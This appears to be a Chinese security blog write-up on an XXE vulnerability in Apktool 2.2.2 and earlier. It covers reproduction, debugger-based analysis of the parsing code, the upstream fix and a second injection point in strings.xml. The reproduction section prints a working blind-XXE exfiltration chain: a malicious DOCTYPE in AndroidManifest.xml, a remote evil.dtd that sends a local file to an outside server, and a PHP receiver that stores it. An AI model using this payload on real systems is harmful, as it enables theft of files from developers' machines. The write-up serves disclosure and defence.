漏洞概述

XXE是指的XML外部实体注入(XML External Entity),当在XML的DTD(文档类型定义)中,如果允许引入外部实体,则可能会造成XXE漏洞,可以造成文件读取,探测内网端口,甚至命令执行的危害。

在Apktool commit ID为f19317d中修复了一个XXE漏洞,Apktool的使用者在build APK时,会造成本地任意文件被攻击者读取的危害。

受影响的Apktool版本目前是v2.2.2以及以下,建议用户将Apktool版本升级到v2.3.0以及以上。

漏洞复现

环境:
​ Ubuntu 16.04.3 LTS
​ java openjdk version “1.8.0_151”
​ apktool_2.2.2.jar 2110cdbdfd08b25daa85ccfb2ff8cab84cf5c32d3be1a0296f1d015a019724a9
​ app-debug.apk(需要由Android Studio 2.X生成)

使用apktool解压app-debug.apk:

java -jar apktool_2.2.2.jar d app-debug.apk  -o app-debug

修改AndroidManifest.xml文件构造恶意apk:
​ 读取/tmp/xxetest文件并发送。

<!DOCTYPE root [   
    <!ENTITY  % file SYSTEM "file:///tmp/xxetest">  
    <!ENTITY  % dtd  SYSTEM "http://172.18.0.2/evil.dtd">  
    %dtd;  
    %all;  
    %send;
 ]>

远程evil.dtd文件:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://172.18.0.2/recv.php?p=%file;'>"
>

服务器上的recv.php:
​ 接受受害者机器传来的文件并保存到本机的/tmp/123.txt中。

<?php 
file_put_contents('/tmp/123.txt', $_GET['p']);
?>

受害者机器运行build命令重打包恶意的apk时:

java -jar apktool_2.2.2.jar b app-debug -o app-debug-chongdabao.apk

在服务器上获取受害者机器上的敏感文件: secret-file

漏洞分析

该漏洞在 f19317d被修复,因此我们回退版本到 2a35125来观察漏洞被触发的原理。

git clone https://github.com/rubenanagua/Apktool.git && cd Apktool
git reset --hard 2a35125
./gradlew build shadowJar proguard   # build

将Apktool导入Android Studio ,同步Gradle之后即可开始源码调试。设置运行时参数Program arguments: b /home/thinkycx/Desktop/apktool-d-build-xxe/app-debug -o /home/thinkycx/Desktop/apktool-d-build-xxe/evil.apk

开始Debug Run并在b方法处下断点:

在Main函数中解析完cmd params后便开始build apk:

进入build函数:

备份AndroidMainifest.xml文件并准备解析:

加载xml:

进入loadDocument函数准备对xml进行parse:

该parse方法在jre的lib中实现:

parse后发现敏感文件已经写入到/tmp/123.txt文件中:

漏洞修复

XXE的漏洞在Java中的修复通常是关闭外部实体引用:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

在Apktool的f19317d 修复代码中禁止了在AndroidManifest.xml中对DOCTYPE的引入:

DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true);
         ...
private static final String FEATURE_DISABLE_DOCTYPE_DECL = "http://apache.org/xml/features/disallow-doctype-decl";

两种方法都可以有效的避免XXE的攻击。

新攻击面strings.xml

20171221更新。在apktool 2.2.2的源码中,查找了一下所有调用loadDocument函数的地方,发现在pullValueFromStrings函数中会对strings.xml parse,那么在其中插入DTD,毫无疑问也会造成XXE攻击。

/**
 * Finds key in strings.xml file and returns text value
 *
 * @param directory Root directory of apk
 * @param key String reference (ie @string/foo)
 * @return String|null
 * @throws AndrolibException
 */
public static String pullValueFromStrings(File directory, String key) throws AndrolibException {
    if (key == null || ! key.contains("@")) {
        return null;
    }

    File file = new File(directory, "/res/values/strings.xml");
    key = key.replace("@string/", "");

    if (file.exists()) {
        try {
            Document doc = loadDocument(file);

传入的key参数是apk的versionName,因此需要在build apk时设置build.gradle中的versionName为一个包含@的值,这里我修改为”2.0@1.0”后复现成功。

但是,存在的问题是:无论是使用Android Studio build apk修改strings.xml (非schema模式的XML插入DTD可以编译成功,AndroidMainifest.xml则不行)还是修改了strings.xml后用apktool重打包,都不会将strings.xml中的DTD保留下来,因此想要触发漏洞只能够在debug过程中修改strings.xml文件。如果能修改apk中的strings.xml文件,那么使用apktool在decode APK时就可以造成XXE,危害性大大提升。

总结

由于恶意的AndroidMainifest.xml文件使用Apktool build后再 decode后,发现AndroidMainifest.xml中的DTD消失了,因此无法构造恶意的apk文件,导致实际的攻击条件非常苛刻。根据安全客的文章发现,XXE在Android Studio 2.3.2导入Projects或导入AAR时也存在。

复现完这个漏洞,发现存在对XML解析的地方都有可能存在XXE漏洞。因此,似乎还有很多软件的XXE尚未被挖掘出来。

Refs

  1. https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/
  2. https://threatpost.com/developers-targets-in-parsedroid-poc-attack/129088/
  3. https://www.anquanke.com/post/id/89316
  4. https://www.anquanke.com/post/id/89557
  5. XXE漏洞攻防——TSRC,XXE入门资料
    https://security.tencent.com/index.php/blog/msg/69
  6. XXE漏洞以及Blind XXE总结
    http://blog.csdn.net/u011721501/article/details/43775691 ​